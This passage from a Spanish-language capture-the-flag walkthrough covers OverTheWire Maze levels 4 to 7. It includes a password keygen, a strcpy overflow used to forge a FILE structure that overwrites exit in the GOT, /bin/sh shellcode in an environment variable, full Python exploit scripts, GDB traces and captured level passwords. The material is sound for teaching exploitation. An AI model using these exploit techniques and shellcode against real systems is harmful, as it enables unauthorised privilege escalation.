00000020: 4242 4242 4242 4242 4242 4242 b82e 0000 BBBBBBBBBBBB....
00000030: 4343 4343 4343 4343 4343 4343 4343 4343 CCCCCCCCCCCCCCCC
00000040: 4343 4343 4343 4343 4343 4343 4343 4343 CCCCCCCCCCCCCCCC
00000050: 0a .
Básicamente, se trata de un shell script que utiliza un shebang para especificar que el archivo sea ehecutado con /bin/sh
, luego utilizamos /bin/bash -p
para que se utilice el privilegio SUID del binario. Nótese que #
es un comentario en shell scripting:
maze4@maze:~$ cat /tmp/file
#!/bin/sh
/bin/bash -p # BBBBBBBBBBBB?.CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
Ahora lo ejecutamos y terminamos el nivel:
maze4@maze:~$ /maze/maze4 /tmp/file
valid file, executing
bash-4.4$ whoami
maze5
bash-4.4$ cat /etc/maze_pass/maze5
ishipaeroo
Nivel 5 -> 6
Para este nivel, tenemos un binario /maze/maze5
que podemos descompilar con Ghidra y obtener la función main
:
int main() {
size_t sVar1;
long lVar2;
int iVar3;
char pass[9];
char user[9];
puts("X----------------");
printf(" Username: ");
__isoc99_scanf("%8s", user);
printf(" Key: ");
__isoc99_scanf("%8s", pass);
sVar1 = strlen(user);
if ((sVar1 == 8) && (sVar1 = strlen(pass), sVar1 == 8)) {
lVar2 = ptrace(PTRACE_TRACEME, 0, 0, 0);
if (lVar2 == 0) {
iVar3 = foo(user, pass);
if (iVar3 == 0) {
puts("\nNah, wrong.");
} else {
puts("\nYeh, here\'s your shell");
system("/bin/sh");
}
} else {
puts("\nnahnah...");
}
return 0;
}
puts("Wrong length you!");
/* WARNING: Subroutine does not return */
exit(-1);
}
Básicamente, el programa pide un nombre y una contraseña, Además, no permite el uso de GDB, strace
o ltrace
porque ptrace
no devolverá 0.
Después, el nombre de usuario y la contraseña son enviados a foo
(solamente si los dos tienen una longitud de 8 bytes):
int foo(char *s, char *a) {
int iVar1;
int iVar2;
size_t sVar3;
char cStack22;
char p[9];
int x;
int i;
p._0_4_ = 0x6e697270;
p._4_4_ = 0x6c6f6c74;
p[8] = '\0';
for (i = 0; sVar3 = strlen(s), (uint)i < sVar3; i = i + 1) {
p[i] = p[i] - (s[i] + -0x41 + (char)i * '\x02');
}
do {
iVar1 = i + -1;
if (i == 0) {
return 1;
}
iVar2 = i + -1;
i = iVar1;
} while (p[iVar2] == a[iVar1]);
return 0;
}
El código descompilado es un poco extraño. El bucle for
está realizando operaciones sobre el nombre de usuario con una clave que es printlol
(0x6e697270
y 0x6c6f6c74
pasados a formato bytes). Luego, el bucle do
-while
solamente verifica que la contraseña es igual al resultado de la operación anterior (carácter a carácter).
Por tanto, podemos reescribir este bucle for
en otro archivo para obtener la contraseña esperada:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void main(int argc, char** argv) {
if (argc != 2) return;
int i;
char* key = "printlol";
char* username = argv[1];
char password[8];
printf("Key: %s\n", key);
printf("Username: %s\n", username);
for (i = 0; i < 8; i++) {
password[i] = key[i] - (username[i] - 0x41 + i * 2);
}
printf("Expected password: %s\n", password);
}
Ahora lo compilamos y ejecutamos pasándole un usuario como argumento:
$ gcc -o password password.c
$ ./password AAAAAAAA
Key: printlol
Username: AAAAAAAA
Expected password: ppehlbc^
Y por tanto, podemos utilizar el programa para obtener una shell como maze6
:
maze5@maze:~$ /maze/maze5
X----------------
Username: AAAAAAAA
Key: ppehlbc^
Yeh, here's your shell
$ whoami
maze6
$ cat /etc/maze_pass/maze6
epheghuoli
Nivel 6 -> 7
El código fuente descompilado de /maze/maze6
se muestra a continuación:
int main(int argc, char **argv) {
FILE *__stream;
size_t __n;
char buf[256];
FILE *fp;
if (argc != 3) {
printf("%s file2write2 string\n", *argv);
/* WARNING: Subroutine does not return */
exit(-1);
}
__stream = fopen(argv[1], "a");
if (__stream == (FILE *) 0x0) {
perror("fopen");
/* WARNING: Subroutine does not return */
exit(-1);
}
strcpy(buf, argv[2]);
__n = strlen(buf);
memfrob(buf, __n);
fprintf(__stream, "%s : %s\n", argv[1], buf);
/* WARNING: Subroutine does not return */
exit(0);
}
Primero, nos damos cuenta del uso de strcpy
, que es vulnerable a Buffer Overflow ya que podemos controlar el contenido de la string de origen, que será copiada a la variable destino buf
, que solamente tiene 256 bytes reservados.
Desafortunadamente, no existe instrucción de retorno que podamos sobrescribir, por lo que el Buffer Overflow no será útil para controlar la ejecución del programa.
Además, después de strcpy
, los datos copiados en buf
son modificados por memfrob
. Esta función cifra cada byte utilizando una operación XOR con 42 (0x2a
) como clave. Esto se debe tener en cuenta porque crearemos un payload y lo cifraremos con una clave 42 y XOR, de manera que memfrob
revierte nuestro cifrado y copiamos los datos que queremos. Además, esta metodología nos permitirá enviar bytes nulos (si no, strcpy
no funcionaría como esperamos porque los bytes nulos terminan las cadenas de caracteres en C).
Como no podemos sobrescribir la dirección de retorno, necesitamos modificar variables locales (que se almacenan en la pila). La única que importa es la que apunta a la estructura FILE
, por lo que este es el camino.
Una búsqueda rápida en Internet nos muestra una técnica llamada ataque de estructura FILE
, que consiste en falsificar una estructura FILE
para conseguir una primitiva de escritura. Existe bastante información al respecto.
Primero de todo, ejecutemos el programa:
maze6@maze:~$ /maze/maze6
/maze/maze6 file2write2 string
maze6@maze:~$ /maze/maze6 file.txt AAAA
fopen: Permission denied
maze6@maze:~$ cd /tmp
maze6@maze:/tmp$ echo AAAA > asdf.txt
maze6@maze:/tmp$ /maze/maze6 asdf.txt AAAA
fopen: Permission denied
Este comportamiento es extraño. Parece que el programa no tiene los permisos suficientes para escribir datos en asdf.txt
. Comprobemos los permisos:
maze6@maze:/tmp$ ls -l --time-style=+ asdf.txt
-rw-r--r-- 1 maze6 root 5 asdf.txt
Aquí está, como /maze/maze6
es un binario SUID, se está ejecutando como usuario maze7
, pero el archivo asdf.txt
pertenece a maze6
y otros solamente pueden leer. Por tanto, Tenemos que cambiar sus permisos para que sean al menos rw
:
maze6@maze:/tmp$ chmod 666 asdf.txt
maze6@maze:/tmp$ ls -l --time-style=+ asdf.txt
-rw-rw-rw- 1 maze6 root 5 asdf.txt
maze6@maze:/tmp$ /maze/maze6 asdf.txt AAAA
maze6@maze:/tmp$ cat asdf.txt
AAAA
asdf.txt : kkkk
Ahora todo funciona correctamente y podemos empezar a trabajar.
Para poder resolver este nivel, ponemos un breakpoint antes de fprintf
y examinamos la estructura FILE
legítima desde la máquina remota. Curiosamente, GDB ha cambiado su interfaz. Esta vez, usaré gdb-peda
(solo porque gef
no está instalado y pwndbg
no funciona correctamente):
maze6@maze:/tmp$ gdb -q /maze/maze6
Reading symbols from /maze/maze6...done.
warning: ~/.gdbinit.local: No such file or directory
(gdb) source /usr/local/peda/peda.py
gdb-peda$
Desensamblamos la función main
y ponemos el breakpoint justo antes de la llamada a fprintf
:
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x0804855b <+0>: push ebp
0x0804855c <+1>: mov ebp,esp
0x0804855e <+3>: sub esp,0x104
...
0x08048606 <+171>: call 0x8048420 <fprintf@plt>
0x0804860b <+176>: add esp,0x10
0x0804860e <+179>: push 0x0
0x08048610 <+181>: call 0x80483f0 <exit@plt>
End of assembler dump.
gdb-peda$ break *0x08048606
Breakpoint 1 at 0x8048606: file maze6.c, line 40.
Ahora podemos lanzar el programa:
gdb-peda$ run asdf.txt AAAA
Starting program: /maze/maze6 asdf.txt AAAA
[----------------------------------registers-----------------------------------]
EAX: 0xffffd7cd ("asdf.txt")
EBX: 0x0
ECX: 0xffffd4d8 --> 0x0
EDX: 0xffffd4d4 ("kkkk")
ESI: 0x3
EDI: 0xf7fc5000 --> 0x1b2db0
EBP: 0xffffd5d8 --> 0x0
ESP: 0xffffd4c4 --> 0x804a008 --> 0xfbad3484
EIP: 0x8048606 (<main+171>: call 0x8048420 <fprintf@plt>)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80485fd <main+162>: push eax
0x80485fe <main+163>: push 0x80486bf
0x8048603 <main+168>: push DWORD PTR [ebp-0x4]
=> 0x8048606 <main+171>: call 0x8048420 <fprintf@plt>
0x804860b <main+176>: add esp,0x10
0x804860e <main+179>: push 0x0
0x8048610 <main+181>: call 0x80483f0 <exit@plt>
0x8048615: xchg ax,ax
Guessed arguments:
arg[0]: 0x804a008 --> 0xfbad3484
arg[1]: 0x80486bf ("%s : %s\n")
arg[2]: 0xffffd7cd ("asdf.txt")
arg[3]: 0xffffd4d4 ("kkkk")
[------------------------------------stack-------------------------------------]
0000| 0xffffd4c4 --> 0x804a008 --> 0xfbad3484
0004| 0xffffd4c8 --> 0x80486bf ("%s : %s\n")
0008| 0xffffd4cc --> 0xffffd7cd ("asdf.txt")
0012| 0xffffd4d0 --> 0xffffd4d4 ("kkkk")
0016| 0xffffd4d4 ("kkkk")
0020| 0xffffd4d8 --> 0x0
0024| 0xffffd4dc --> 0xf7ff1781 (add esp,0x10)
0028| 0xffffd4e0 --> 0xf7ff215c (add esi,0xaea4)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x08048606 in main (argc=0x3, argv=0xffffd674) at maze6.c:40
40 maze6.c: No such file or directory.
En este punto, vemos que el puntero a la estructura FILE
es 0x804a008
(el primer argumento de fprintf
). Podemos extraer los atributos de esta estructura como sigue:
gdb-peda$ p *((FILE*) 0x804a008)
$1 = {
_flags = 0xfbad3484,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0xf7fc5cc0 <_IO_2_1_stderr_>,
_fileno = 0x3,
_flags2 = 0x0,
_old_offset = 0x0,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x804a0a0,
_offset = 0xffffffffffffffff,
__pad1 = 0x0,
__pad2 = 0x804a0ac,
__pad3 = 0x0,
__pad4 = 0x0,
__pad5 = 0x0,
_mode = 0x0,
_unused2 = '\000' <repeats 39 times>
}
Algunos atributos importantes para considerar son:
_chain = 0xf7fc5cc0
_lock = 0x804a0a0
_offset = 0xffffffffffffffff
Existe una clase en pwntools
llamada FileStructure
que parece interesante, pero no conseguí que funcionara correctamente.
También, tenemos qaue chequear los tipos de atributos de la estructura FILE
y cómo se almacena en memoria:
gdb-peda$ ptype FILE
type = struct _IO_FILE {
int _flags;
char *_IO_read_ptr;
char *_IO_read_end;
char *_IO_read_base;
char *_IO_write_base;
char *_IO_write_ptr;
char *_IO_write_end;
char *_IO_buf_base;
char *_IO_buf_end;
char *_IO_save_base;
char *_IO_backup_base;
char *_IO_save_end;
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset;
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
__off64_t _offset;
void *__pad1;
void *__pad2;
void *__pad3;
void *__pad4;
size_t __pad5;
int _mode;
char _unused2[40];
}
gdb-peda$ x/40x 0x804a008
0x804a008: 0xfbad3484 0x00000000 0x00000000 0x00000000
0x804a018: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a028: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a038: 0x00000000 0xf7fc5cc0 0x00000003 0x00000000
0x804a048: 0x00000000 0x00000000 0x0804a0a0 0xffffffff
0x804a058: 0xffffffff 0x00000000 0x0804a0ac 0x00000000
0x804a068: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a078: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a088: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a098: 0x00000000 0xf7fc3960 0x00000000 0x00000000
Existe otro valor relevante aquí: vtable
, que es 0xf7fc3960
.
Para conseguir escritura arbitraria en la memoria, necesitamos controlar los atributos _IO_buf_base
y _IO_buf_end
, de manera que estos atributos apunten a las direcciones de inicio y fin de donde queremos escribir (la longitud será _IO_buf_end - _IO_buf_base
).
Como disponemos de una vulnerabilidad de Buffer Overflow, somos capaces de modificar el puntero de la estructura FILE
legítima y hacer que apunte a una maliciosa cargada en la pila.
Para ello, necesitamos calcular el offset necesario para sobrescribir el primer argumento de fprintf
. Esto puede hacerse con cyclic
de pwntools
(utilizamos el cifrado XOR para poder calcular el offset después):
gdb-peda$ run asdf.txt "$(python -c 'from pwn import cyclic; print("".join(chr(42 ^ ord(b)) for b in cyclic(270)))')"
Starting program: /maze/maze6 asdf.txt "$(python -c 'from pwn import cyclic; print("".join(chr(42 ^ ord(b)) for b in cyclic(270)))')"
[----------------------------------registers-----------------------------------]
EAX: 0xffffd6c3 ("asdf.txt")
EBX: 0x0
ECX: 0xffffd4d2 --> 0xd5640000
EDX: 0xffffd3c4 ("aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab"...)
ESI: 0x3
EDI: 0xf7fc5000 --> 0x1b2db0
EBP: 0xffffd4c8 ("paacqaacra")
ESP: 0xffffd3b4 ("oaac\277\206\004\b\303\326\377\377\304\323\377\377aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaab"...)
EIP: 0x8048606 (<main+171>: call 0x8048420 <fprintf@plt>)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80485fd <main+162>: push eax
0x80485fe <main+163>: push 0x80486bf
0x8048603 <main+168>: push DWORD PTR [ebp-0x4]
=> 0x8048606 <main+171>: call 0x8048420 <fprintf@plt>
0x804860b <main+176>: add esp,0x10
0x804860e <main+179>: push 0x0
0x8048610 <main+181>: call 0x80483f0 <exit@plt>
0x8048615: xchg ax,ax
Guessed arguments:
arg[0]: 0x6361616f ('oaac')
arg[1]: 0x80486bf ("%s : %s\n")
arg[2]: 0xffffd6c3 ("asdf.txt")
arg[3]: 0xffffd3c4 ("aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab"...)
[------------------------------------stack-------------------------------------]
0000| 0xffffd3b4 ("oaac\277\206\004\b\303\326\377\377\304\323\377\377aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaab"...)
0004| 0xffffd3b8 --> 0x80486bf ("%s : %s\n")
0008| 0xffffd3bc --> 0xffffd6c3 ("asdf.txt")
0012| 0xffffd3c0 --> 0xffffd3c4 ("aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab"...)
0016| 0xffffd3c4 ("aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab"...)
0020| 0xffffd3c8 ("baaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaac"...)
0024| 0xffffd3cc ("caaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaac"...)
0028| 0xffffd3d0 ("daaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaac"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x08048606 in main (argc=0x6172, argv=0xffffd564) at maze6.c:40
40 in maze6.c
Y el primer parámetro se sobrescribe con "oaac"
, que resulta en un offset de 256 bytes:
$ pwn cyclic -l oaac
256
Nótese que el patrón se almacena en la pila 16 bytes después del offset:
gdb-peda$ x/50x $esp
0xffffd3b4: 0x6361616f 0x080486bf 0xffffd6c3 0xffffd3c4
0xffffd3c4: 0x61616161 0x61616162 0x61616163 0x61616164
0xffffd3d4: 0x61616165 0x61616166 0x61616167 0x61616168
0xffffd3e4: 0x61616169 0x6161616a 0x6161616b 0x6161616c
0xffffd3f4: 0x6161616d 0x6161616e 0x6161616f 0x61616170
0xffffd404: 0x61616171 0x61616172 0x61616173 0x61616174
0xffffd414: 0x61616175 0x61616176 0x61616177 0x61616178
0xffffd424: 0x61616179 0x6261617a 0x62616162 0x62616163
0xffffd434: 0x62616164 0x62616165 0x62616166 0x62616167
0xffffd444: 0x62616168 0x62616169 0x6261616a 0x6261616b
0xffffd454: 0x6261616c 0x6261616d 0x6261616e 0x6261616f
0xffffd464: 0x62616170 0x62616171 0x62616172 0x62616173
0xffffd474: 0x62616174 0x62616175
Por tanto, en lugar de "oaac"
, podemos poner 0xffffd3c4
para que la estructura FILE
comience ahí y el primer argumento de fprintf
apunte a esa dirección en la pila.
Ahora construimos la estructura FILE
maliciosa para poder cargarla en la pila. De momento, vamos a tratar de sobrescribir una variable de entorno, por ejemplo USER=maze6
):
gdb-peda$ shell echo $USER
maze6
gdb-peda$ find USER
Searching for 'USER' in: None ranges
Found 1 results, display max 1 items:
[stack] : 0xffffde6d ("USER=maze6")
Por tanto, estos serán los valores para la estructura FILE
:
_chain = 0xf7fc5cc0
_lock = 0x804a0a0
_offset = 0xffffffffffffffff
vtable = 0xf7fc3960
_IO_buf_base = 0xffffde6d
_IO_buf_end = 0xffffde6d + 4
Después de algunas pruebas, podemos desarrollar este script en Python que pone estos campos en un payload:
#!/usr/bin/env python3
import os
import struct
env_addr = 0xffffde6d
file_addr = 0xffffd3c8
length = 256
p32 = lambda h: struct.pack('<I', h)
payload = b'ASDF'
payload += b'\0' * 28
payload += p32(env_addr)
payload += p32(env_addr + 4)
payload += b'\0' * 16
payload += p32(0xf7fc5cc0)
payload += b'\0' * 16
payload += p32(0x0804a0a0)
payload += b'\xff' * 8
payload += b'\0' * 64
payload += p32(0xf7fc3960)
payload += b'\0' * (length - len(payload))
payload += p32(file_addr)
os.write(1, bytes(42 ^ b for b in payload))
Ahora podemos comprobar que todos los valores cargados son los esperados mirándolo en GDB:
gdb-peda$ run asdf.txt "$(python3 maze6.py)"
Starting program: /maze/maze6 asdf.txt "$(python3 maze6.py)"
[----------------------------------registers-----------------------------------]
EAX: 0xffffd6cd ("asdf.txt")
EBX: 0x0
ECX: 0xffffd4d8 --> 0x0
EDX: 0xffffd3d4 ("ASDF")
ESI: 0x3
EDI: 0xf7fc5000 --> 0x1b2db0
EBP: 0xffffd4d8 --> 0x0
ESP: 0xffffd3c4 --> 0xffffd3d8 --> 0x0
EIP: 0x8048606 (<main+171>: call 0x8048420 <fprintf@plt>)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80485fd <main+162>: push eax
0x80485fe <main+163>: push 0x80486bf
0x8048603 <main+168>: push DWORD PTR [ebp-0x4]
=> 0x8048606 <main+171>: call 0x8048420 <fprintf@plt>
0x804860b <main+176>: add esp,0x10
0x804860e <main+179>: push 0x0
0x8048610 <main+181>: call 0x80483f0 <exit@plt>
0x8048615: xchg ax,ax
Guessed arguments:
arg[0]: 0xffffd3d8 --> 0x0
arg[1]: 0x80486bf ("%s : %s\n")
arg[2]: 0xffffd6cd ("asdf.txt")
arg[3]: 0xffffd3d4 ("ASDF")
[------------------------------------stack-------------------------------------]
0000| 0xffffd3c4 --> 0xffffd3d8 --> 0x0
0004| 0xffffd3c8 --> 0x80486bf ("%s : %s\n")
0008| 0xffffd3cc --> 0xffffd6cd ("asdf.txt")
0012| 0xffffd3d0 --> 0xffffd3d4 ("ASDF")
0016| 0xffffd3d4 ("ASDF")
0020| 0xffffd3d8 --> 0x0
0024| 0xffffd3dc --> 0x0
0028| 0xffffd3e0 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x08048606 in main (argc=0x3, argv=0xffffd574) at maze6.c:40
40 in maze6.c
gdb-peda$ p *((FILE*) 0xffffd3d8)
$3 = {
_flags = 0x0,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0xffffde6d "USER=maze6",
_IO_buf_end = 0xffffde74 "ze6",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0xf7fc5cc0 <_IO_2_1_stderr_>,
_fileno = 0x0,
_flags2 = 0x0,
_old_offset = 0x0,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x804a0a0,
_offset = 0xffffffffffffffff,
__pad1 = 0x0,
__pad2 = 0x0,
__pad3 = 0x0,
__pad4 = 0x0,
__pad5 = 0x0,
_mode = 0x0,
_unused2 = '\000' <repeats 39 times>
}
Y parece que todo está correcto. Si continuamos, vemos que el valor cambia:
gdb-peda$ x/s 0xffffde6d
0xffffde6d: "USER=maze6"
gdb-peda$ next
asdf.txt : ASDF
...
gdb-peda$ x/s 0xffffde6d
0xffffde6d: " : ASDFze6"
En este punto, la idea es sobrescribir el valor de exit
en la Tabla de Offsets Globales (GOT) para saltar a la dirección de una variable de entorno que contenga shellcode para obtener una shell
Podemos coger un shellcode de 32 bits y guardarlo en una variable de entorno:
maze6@maze:/tmp$ export TEST=$(python -c 'print("\x90" * 20 + "\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\xcd\x80")')
maze6@maze:/tmp$ echo $TEST | xxd
00000000: 9090 9090 9090 9090 9090 9090 9090 9090 ................
00000010: 9090 9090 31c9 6a0b 5851 682f 2f73 6868 ....1.j.XQh//shh
00000020: 2f62 696e 89e3 31d2 cd80 0a /bin..1....
maze6@maze:/tmp$ gdb -q /maze/maze6
Reading symbols from /maze/maze6...done.
warning: ~/.gdbinit.local: No such file or directory
(gdb) source /usr/local/peda/peda.py
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x0804855b <+0>: push ebp
0x0804855c <+1>: mov ebp,esp
0x0804855e <+3>: sub esp,0x104
...
0x08048606 <+171>: call 0x8048420 <fprintf@plt>
0x0804860b <+176>: add esp,0x10
0x0804860e <+179>: push 0x0
0x08048610 <+181>: call 0x80483f0 <exit@plt>
gdb-peda$ break main
Breakpoint 1 at 0x8048564: file maze6.c, line 29.
gdb-peda$ break *0x8048606
Breakpoint 2 at 0x8048606: file maze6.c, line 40.
gdb-peda$ disassemble 0x80483f0
Dump of assembler code for function exit@plt:
0x080483f0 <+0>: jmp DWORD PTR ds:0x80498dc
0x080483f6 <+6>: push 0x18
0x080483fb <+11>: jmp 0x80483b0
End of assembler dump.
gdb-peda$ run asdf.txt AAAA
Starting program: /maze/maze6 asdf.txt AAAA
...
Breakpoint 1, main (argc=0x3, argv=0xffffd644) at maze6.c:29
29 maze6.c: No such file or directory.
gdb-peda$ find TEST
Searching for 'TEST' in: None ranges
Found 2 results, display max 2 items:
libc : 0xf7f6fd88 ("TEST")
[stack] : 0xffffde29 ("TEST=", '\220' <repeats 20 times>, "\061\311j\vXQh//shh/bin\211\343\061\322̀")
Desde la salida anterior de GDB, vemos la dirección de exit
en la GOT y la dirección de TEST
en la pila. Ahora actualizamos estos valores en el exploit de esta forma:
#!/usr/bin/env python3
import os
import struct
exit_got = 0x080498dc
env_addr = 0xffffde29
file_addr = 0xffffd3a8
length = 256
p32 = lambda h: struct.pack('<I', h)
payload = p32(env_addr + 5)
payload += b'\0' * 28
payload += p32(exit_got - 3)
payload += p32(exit_got + 5)
payload += b'\0' * 16
payload += p32(0xf7fc5cc0)
payload += b'\0' * 16
payload += p32(0x0804a0a0)
payload += b'\xff' * 8
payload += b'\0' * 64
payload += p32(0xf7fc3960)
payload += b'\0' * (length - len(payload))
payload += p32(file_addr)
os.write(1, bytes(42 ^ b for b in payload))
La dirección de la estructura FILE
ha cambiado, lo cual puede ser comprobado con GDB. Nótese que estamos escribiendo en exit_got
porque " : "
también se escribirá. De esta manera, podemos escribir 4 bytes desde exit_got
hasta exit_got + 4
. Además, la dirección que estamos escribiendo es env_addr + 5
porque el contenido comienza en el quinto carácter (TEST=...
), aunque hay algunas instrucciones nop
como relleno por si acaso.
Ahora si lanzamos el exploit vemos que todo está correcto:
gdb-peda$ run asdf.txt "$(python3 maze6.py)"
Starting program: /maze/maze6 asdf.txt "$(python3 maze6.py)"
[----------------------------------registers-----------------------------------]
EAX: 0xffffd69d ("asdf.txt")
EBX: 0x0
ECX: 0xffffd4a8 --> 0x0
EDX: 0xffffd3a4 --> 0xffffde2e --> 0x90909090
ESI: 0x3
EDI: 0xf7fc5000 --> 0x1b2db0
EBP: 0xffffd4a8 --> 0x0
ESP: 0xffffd394 --> 0xffffd3a8 --> 0x0
EIP: 0x8048606 (<main+171>: call 0x8048420 <fprintf@plt>)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80485fd <main+162>: push eax
0x80485fe <main+163>: push 0x80486bf
0x8048603 <main+168>: push DWORD PTR [ebp-0x4]
=> 0x8048606 <main+171>: call 0x8048420 <fprintf@plt>
0x804860b <main+176>: add esp,0x10
0x804860e <main+179>: push 0x0
0x8048610 <main+181>: call 0x80483f0 <exit@plt>
0x8048615: xchg ax,ax
Guessed arguments:
arg[0]: 0xffffd3a8 --> 0x0
arg[1]: 0x80486bf ("%s : %s\n")
arg[2]: 0xffffd69d ("asdf.txt")
arg[3]: 0xffffd3a4 --> 0xffffde2e --> 0x90909090
[------------------------------------stack-------------------------------------]
0000| 0xffffd394 --> 0xffffd3a8 --> 0x0
0004| 0xffffd398 --> 0x80486bf ("%s : %s\n")
0008| 0xffffd39c --> 0xffffd69d ("asdf.txt")
0012| 0xffffd3a0 --> 0xffffd3a4 --> 0xffffde2e --> 0x90909090
0016| 0xffffd3a4 --> 0xffffde2e --> 0x90909090
0020| 0xffffd3a8 --> 0x0
0024| 0xffffd3ac --> 0x0
0028| 0xffffd3b0 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 2, 0x08048606 in main (argc=0x3, argv=0xffffd544) at maze6.c:40
40 in maze6.c
gdb-peda$ p *((FILE*) 0xffffd3a8)
$2 = {
_flags = 0x0,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x80498d9 "\224\351\367\366\203\004\bP\n\351\367\220\241\342\367&\204\004\b\240\377\346", <incomplete sequence \367>,
_IO_buf_end = 0x80498e1 "\n\351\367\220\241\342\367&\204\004\b\240\377\346", <incomplete sequence \367>,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0xf7fc5cc0 <_IO_2_1_stderr_>,
_fileno = 0x0,
_flags2 = 0x0,
_old_offset = 0x0,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x804a0a0,
_offset = 0xffffffffffffffff,
__pad1 = 0x0,
__pad2 = 0x0,
__pad3 = 0x0,
__pad4 = 0x0,
__pad5 = 0x0,
_mode = 0x0,
_unused2 = '\000' <repeats 39 times>
}
Y a propósito, si continuamos, obtendremos una shell
gdb-peda$ continue
Continuing.
asdf.txtprocess 697 is executing new program: /bin/dash
Warning:
Cannot insert breakpoint 2.
Cannot access memory at address 0x8048606
Ahora el problema es que tenemos que lanzar el exploit sin el depurados. Esto es problemático porque no sabemos de antemano la dirección de la variable de entorno ni la dirección donde se almacenará la estructura FILE
en la pila.
La dirección de la variable de entorno puede obtenerse utilizando este código:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void main(int argc, char** argv) {
char *ptr;
if (argc < 3) {
printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]); /* get env var location */
ptr += (strlen(argv[0]) - strlen(argv[2])) * 2; /* adjust for program name */
printf("%s will be at %p\n", argv[1], ptr);
}
